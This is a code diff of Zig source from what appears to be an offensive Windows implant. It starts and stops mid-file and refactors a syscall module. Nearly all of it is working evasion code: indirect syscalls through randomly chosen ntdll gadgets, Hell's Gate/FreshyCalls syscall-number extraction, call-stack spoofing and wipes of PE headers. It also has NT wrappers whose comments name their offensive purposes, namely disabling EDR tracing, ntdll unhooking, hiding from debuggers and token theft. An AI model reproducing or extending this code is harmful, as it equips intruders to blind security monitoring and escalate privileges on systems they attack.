const src = @as([*]const u8, @ptrCast(text_start.?)); const src: [*]const u8 = @ptrCast(text_start.?);
@memcpy(dest[0..text_size], src[0..text_size]); @memcpy(dest[0..text_size], src[0..text_size]);
var restore_mut: ?*anyopaque = target_mut orelse target_base.?; var restore_mut: ?*anyopaque = target_mut orelse target_base.?;
var restore_size: win.SIZE_T = target_size; var restore_size: windows.SIZE_T = target_size;
var new_old: win.ULONG = 0; var new_old: windows.ULONG = 0;
_ = syscall.nt_protect_virtual_memory( _ = syscall.nt_protect_virtual_memory(
syscall.nt_current_process(), syscall.nt_current_process(),
&restore_mut, &restore_mut,
&restore_size, &restore_size,
win.PAGE_EXECUTE_READ, nt.PAGE_EXECUTE_READ,
&new_old, &new_old,
); );
const old_bytes = @as([*]u8, @ptrCast(our_base.?)); const old_bytes: [*]u8 = @ptrCast(our_base.?);
const e_lfanew = dos.e_lfanew; const e_lfanew = dos.e_lfanew;
@memset(old_bytes[0..64], 0); @memset(old_bytes[0..64], 0);
@memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0); @memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0);
+134 -163
View File
@@ -1,7 +1,18 @@
// Syscall dispatch, SSN extraction, indirect syscalls. // Syscall dispatch, SSN extraction, indirect syscalls.
const std = @import("std"); const std = @import("std");
const win = @import("win32.zig"); const windows = std.os.windows;
const nt = @import("nt.zig");
const resolve = @import("resolve.zig"); const resolve = @import("resolve.zig");
const pe = @import("pe.zig");
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
pub const RUNTIME_FUNCTION = extern struct {
BeginAddress: u32,
EndAddress: u32,
UnwindInfoAddress: u32,
};
var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
var g_syscall_count: usize = 0; var g_syscall_count: usize = 0;
@@ -9,82 +20,71 @@ var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false; var g_init_done: bool = false;
var g_rand_state: u64 = 0; var g_rand_state: u64 = 0;
// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position.
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined; var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0; var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false; var g_freshy_ready: bool = false;
var g_fake_return_addr: usize = 0; var g_fake_return_addr: usize = 0;
extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
pub fn xorshift64() u64 {
var state = g_rand_state;
state ^= state << 13;
state ^= state >> 7;
state ^= state << 17;
g_rand_state = state;
return state;
}
var g_ntdll_size: usize = 0; var g_ntdll_size: usize = 0;
pub var g_exc_begin: usize = 0; pub var g_exc_begin: usize = 0;
pub var g_exc_count: usize = 0; pub var g_exc_count: usize = 0;
// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
// with real code addresses. Sorts by RVA ascending. SSN = sort position. extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;
// Immune to inline hooking, EDRs cannot change linker RVA order.
// xorshift64 PRNG for gadget selection.
pub fn xorshift64() u64 {
var s = g_rand_state;
s ^= s << 13;
s ^= s >> 7;
s ^= s << 17;
g_rand_state = s;
return s;
}
// FreshyCalls: SSN = sort index, immune to inline hooks.
fn build_freshy_table() void { fn build_freshy_table() void {
const base = g_ntdll_base orelse return; const base = g_ntdll_base orelse return;
const base_bytes = @as([*]u8, @ptrCast(base)); const base_bytes: [*]u8 = @ptrCast(base);
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes))); const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
if (dos.e_magic != 0x5A4D) return; if (dos.e_magic != 0x5A4D) return;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != NT_SIGNATURE) return;
const export_dir = nt.OptionalHeader.DataDirectory[0]; const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(dos.e_lfanew)),
));
if (nt_hdrs.Signature != 0x00004550) return;
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return; if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;
const exp = @as(*align(1) extern struct { const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast(
Characteristics: u32, base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)),
TimeDateStamp: u32, ));
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
}, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0) return; if (exp.NumberOfNames == 0) return;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); const names: [*]align(1) const u32 = @ptrCast(@alignCast(
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); base_bytes + @as(usize, @intCast(exp.AddressOfNames)),
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); ));
const funcs: [*]align(1) const u32 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)),
));
const ords: [*]align(1) const u16 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)),
));
g_freshy_count = 0; g_freshy_count = 0;
const export_dir_end = export_dir.VirtualAddress + export_dir.Size; const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
var i: u32 = 0; var i: u32 = 0;
while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) { while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); const name_ptr: [*:0]const u8 = @ptrCast(@alignCast(
base_bytes + @as(usize, @intCast(names[i])),
));
const name = std.mem.sliceTo(name_ptr, 0); const name = std.mem.sliceTo(name_ptr, 0);
// Only Nt* exports, Zw* shares identical SSNs and would produce duplicates
if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue; if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;
const ordinal = ords[i]; const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue; if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal]; const rva = funcs[ordinal];
// Skip forwarded exports, RVAs point inside the export directory
if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue; if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;
g_freshy_entries[g_freshy_count] = FreshyEntry{ g_freshy_entries[g_freshy_count] = FreshyEntry{
@@ -94,27 +94,14 @@ fn build_freshy_table() void {
g_freshy_count += 1; g_freshy_count += 1;
} }
// Sort by RVA ascending, SSN = position in sorted order std.mem.sort(FreshyEntry, g_freshy_entries[0..g_freshy_count], {}, struct {
if (g_freshy_count > 1) { fn lt(_: void, a: FreshyEntry, b: FreshyEntry) bool {
var bubble_i: usize = 0; return a.rva < b.rva;
while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
var swapped = false;
var bubble_j: usize = 0;
while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
const tmp = g_freshy_entries[bubble_j];
g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
g_freshy_entries[bubble_j + 1] = tmp;
swapped = true;
}
}
if (!swapped) break;
} }
} }.lt);
g_freshy_ready = true; g_freshy_ready = true;
} }
// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN.
fn extract_ssn_freshy(func_hash: u32) ?u16 { fn extract_ssn_freshy(func_hash: u32) ?u16 {
if (!g_freshy_ready) return null; if (!g_freshy_ready) return null;
for (0..g_freshy_count) |i| { for (0..g_freshy_count) |i| {
@@ -125,27 +112,19 @@ fn extract_ssn_freshy(func_hash: u32) ?u16 {
return null; return null;
} }
pub const RUNTIME_FUNCTION = extern struct { // Extract SSN. FreshyCalls first, falls back to .pdata binary search + 0xB8 scan.
BeginAddress: u32,
EndAddress: u32,
UnwindInfoAddress: u32,
};
// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan.
pub fn extract_ssn(func_hash: u32) ?u16 { pub fn extract_ssn(func_hash: u32) ?u16 {
if (!init_syscall()) return null; if (!init_syscall()) return null;
if (extract_ssn_freshy(func_hash)) |ssn| return ssn;
const base = g_ntdll_base orelse return null; const base = g_ntdll_base orelse return null;
const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null; const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
const func_addr_base = @intFromPtr(func_addr); const func_addr_base = @intFromPtr(func_addr);
const base_addr = @intFromPtr(base); const base_addr = @intFromPtr(base);
const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size; const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
if (!in_ntdll) return null; if (!in_ntdll) return null;
const func_rva = @as(u32, @intCast(func_addr_base - base_addr)); const func_rva: u32 = @intCast(func_addr_base - base_addr);
if (g_exc_count == 0) return null; if (g_exc_count == 0) return null;
const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin)); const funcs: [*]align(1) const RUNTIME_FUNCTION = @ptrFromInt(g_exc_begin);
var lo: usize = 0; var lo: usize = 0;
var hi: usize = g_exc_count; var hi: usize = g_exc_count;
while (lo < hi) { while (lo < hi) {
@@ -158,10 +137,11 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
} else { } else {
const start_rva = entry.BeginAddress; const start_rva = entry.BeginAddress;
const end_rva = entry.EndAddress; const end_rva = entry.EndAddress;
const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva)); const scan_bytes: [*]const u8 = @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva);
const scan_len = @min(end_rva - start_rva, 96); const scan_len = @min(end_rva - start_rva, 96);
var j: usize = 4; var j: usize = 0;
while (j < scan_len) : (j += 1) { while (j + 4 < scan_len) : (j += 1) {
// 0xB8 = "mov eax, imm32" — the SSN follows in the next 4 bytes
if (scan_bytes[j] == 0xB8) { if (scan_bytes[j] == 0xB8) {
const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little); const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) { if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
@@ -175,85 +155,81 @@ pub fn extract_ssn(func_hash: u32) ?u16 {
return null; return null;
} }
// Seeds PRNG, builds FreshyCalls table, caches exception directory. // Seed PRNG, scan ntdll .text for syscall;ret gadgets + standalone ret,
// Runs once, subsequent calls no-op. // cache .pdata bounds, build FreshyCalls table. Runs once.
pub fn init_syscall() bool { pub fn init_syscall() bool {
if (g_init_done and g_ntdll_base != null) return true; if (g_init_done and g_ntdll_base != null) return true;
const ntdll_hash = resolve.hash_ror13("ntdll.dll"); const ntdll_hash = resolve.hash_ror13("ntdll.dll");
g_ntdll_base = resolve.get_module_by_hash(ntdll_hash); g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
if (g_ntdll_base == null) return false; if (g_ntdll_base == null) return false;
// Seed PRNG from stack address ^ tick count
var stack_var: u64 = 0; var stack_var: u64 = 0;
g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var))); g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| { if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p)); const GetTickCount64 = @as(*const fn () callconv(nt.WINAPI) u64, @ptrCast(p));
g_rand_state ^= GetTickCount64(); g_rand_state ^= GetTickCount64();
} }
// Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section const base_addr = g_ntdll_base.?;
const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?)); const base_bytes: [*]const u8 = @ptrCast(base_addr);
const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes))); const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(base_bytes));
if (dos.e_magic != 0x5A4D) return false; if (dos.e_magic != 0x5A4D) return false;
const NT_SIGNATURE: u32 = 0x00004550;
const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast(
if (nt.Signature != NT_SIGNATURE) return false; base_bytes + @as(usize, @intCast(dos.e_lfanew)),
g_ntdll_size = nt.OptionalHeader.SizeOfImage; ));
if (nt_hdrs.Signature != 0x00004550) return false;
g_ntdll_size = nt_hdrs.OptionalHeader.SizeOfImage;
g_syscall_count = 0; g_syscall_count = 0;
// Walk section headers to find .text and .pdata bounds const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64);
{ const sections: [*]align(1) const pe.IMAGE_SECTION_HEADER = @ptrCast(@alignCast(
const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240)); @as([*]u8, @ptrCast(@constCast(base_bytes))) + section_off,
const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start)); ));
var text_va: usize = 0;
var text_size: usize = 0;
for (0..nt.FileHeader.NumberOfSections) |si| {
const sec = &sections[si];
if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
text_va = sec.VirtualAddress;
text_size = sec.VirtualSize;
}
if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
}
}
if (text_va == 0 or text_size == 0) return false;
// Scan .text for syscall;ret (0F 05 C3) gadgets var text_va: usize = 0;
var j: usize = text_va; var text_size: usize = 0;
const scan_end: usize = text_va + text_size; for (0..nt_hdrs.FileHeader.NumberOfSections) |si| {
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { const sec = &sections[si];
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); text_va = sec.VirtualAddress;
g_syscall_count += 1; text_size = sec.VirtualSize;
} }
// Find standalone ret (0xC3) not part of syscall;ret for callstack spoof if (std.mem.eql(u8, sec.Name[0..6], ".pdata") and sec.Name[6] == 0)
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) { {
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) { g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(base_addr)) + sec.VirtualAddress);
g_fake_return_addr = @intFromPtr(&base_bytes[j]); g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
} }
}
if (text_va == 0 or text_size == 0) return false;
var j: usize = text_va;
const scan_end: usize = text_va + text_size;
while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
g_syscall_count += 1;
}
if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
g_fake_return_addr = @intFromPtr(&base_bytes[j]);
} }
} }
} }
if (g_syscall_count == 0) return false; if (g_syscall_count == 0) return false;
// Build FreshyCalls table
build_freshy_table(); build_freshy_table();
g_init_done = true; g_init_done = true;
return true; return true;
} }
// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub.
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize { pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001); const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count; const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
const gadget = g_syscall_addrs[idx]; const gadget = g_syscall_addrs[idx];
// Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames.
// Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push.
const fake: usize = if (arg_count < 5) g_fake_return_addr else 0; const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
hells_gate(@as(u32, ssn), gadget, fake); hells_gate(@as(u32, ssn), gadget, fake);
const a = [11]usize{ const a = [11]usize{
@@ -272,87 +248,82 @@ pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) u
return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]); return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
} }
fn ntstatus(r: usize) win.NTSTATUS { fn ntstatus(r: usize) windows.NTSTATUS {
return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r)))); return @enumFromInt(@as(u32, @truncate(r)));
} }
// --------- NT API wrappers --------- // ---- NT API wrappers ----
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash. // Ref: https://ntdoc.m417z.com
// Standard sleep syscall. // https://ntdoc.m417z.com/ntdelayexecution
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS { pub fn nt_delay_execution(alertable: windows.BOOLEAN, interval: *const windows.LARGE_INTEGER) windows.NTSTATUS {
const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) }; const args = [_]usize{ @as(usize, @intFromEnum(alertable)), @intFromPtr(interval) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
} }
// Sets thread properties (hide from debugger, etc). // https://ntdoc.m417z.com/ntsetinformationthread
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS { pub fn nt_set_information_thread(thread_handle: windows.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) windows.NTSTATUS {
const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) }; const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
} }
// Closes a handle. // https://ntdoc.m417z.com/ntclose
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS { pub fn nt_close(handle: windows.HANDLE) windows.NTSTATUS {
const args = [_]usize{@intFromPtr(handle)}; const args = [_]usize{@intFromPtr(handle)};
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
} }
// Pseudo-handles: no need to open, just use these constants pub fn nt_current_process() windows.HANDLE {
pub fn nt_current_process() win.HANDLE { return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
} }
pub fn nt_current_thread() win.HANDLE { pub fn nt_current_thread() windows.HANDLE {
return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); return @as(windows.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
} }
// Opens a handle to another process by PID. // https://ntdoc.m417z.com/ntopenprocess
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS { pub fn nt_open_process(process_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *const nt.OBJECT_ATTRIBUTES, client_id: *const nt.CLIENT_ID) windows.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) }; const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
} }
// Changes page protection. // https://ntdoc.m417z.com/ntprotectvirtualmemory
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS { pub fn nt_protect_virtual_memory(process_handle: windows.HANDLE, base_address: *?*anyopaque, region_size: *windows.SIZE_T, new_protect: windows.ULONG, old_protect: *windows.ULONG) windows.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) }; const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
} }
// Controls ETW tracing sessions. Used to stop EDR provider GUIDs. // https://ntdoc.m417z.com/nttracecontrol
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS { pub fn nt_trace_control(code: windows.ULONG, input: ?*anyopaque, input_len: windows.ULONG, output: ?*anyopaque, output_len: windows.ULONG, ret_len: *windows.ULONG) windows.NTSTATUS {
const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) }; const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
} }
// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll. // https://ntdoc.m417z.com/ntopensection
// Ref: https://ntdoc.m417z.com/ntopensection pub fn nt_open_section(section_handle: *windows.HANDLE, desired_access: windows.DWORD, object_attributes: *nt.OBJECT_ATTRIBUTES) windows.NTSTATUS {
pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) }; const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3));
} }
// Maps a view of a section into the virtual address space of a process. // https://ntdoc.m417z.com/ntmapviewofsection
// Ref: https://ntdoc.m417z.com/ntmapviewofsection pub fn nt_map_view_of_section(section_handle: windows.HANDLE, process_handle: windows.HANDLE, base_address: *?*anyopaque, zero_bits: windows.ULONG_PTR, commit_size: windows.SIZE_T, section_offset: ?*windows.LARGE_INTEGER, view_size: *windows.SIZE_T, inherit_disposition: u32, allocation_type: windows.ULONG, protect: windows.ULONG) windows.NTSTATUS {
pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) }; const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10));
} }
// Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection // https://ntdoc.m417z.com/ntunmapviewofsection
pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS { pub fn nt_unmap_view_of_section(process_handle: windows.HANDLE, base_address: ?*anyopaque) windows.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) }; const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2));
} }
// Opens the access token associated with a process. Used by token theft. // https://ntdoc.m417z.com/ntopenprocesstoken
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken pub fn nt_open_process_token(process_handle: windows.HANDLE, desired_access: windows.DWORD, token_handle: *windows.HANDLE) windows.NTSTATUS {
pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS {
const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) }; const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) };
return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3)); return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3));
} }
// Duplicates a token handle. Used to create an impersonation token from a primary token. // https://ntdoc.m417z.com/ntduplicatetoken
// Ref: https://ntdoc.m417z.com/ntduplicatetoken pub fn nt_duplicate_token(existing_token: windows.HANDLE, desired_access: windows.DWORD, object_attributes: ?*nt.OBJECT_ATTRIBUTES, effective_only: windows.BOOLEAN, token_type: windows.DWORD, new_token: *windows.HANDLE) windows.NTSTATUS {
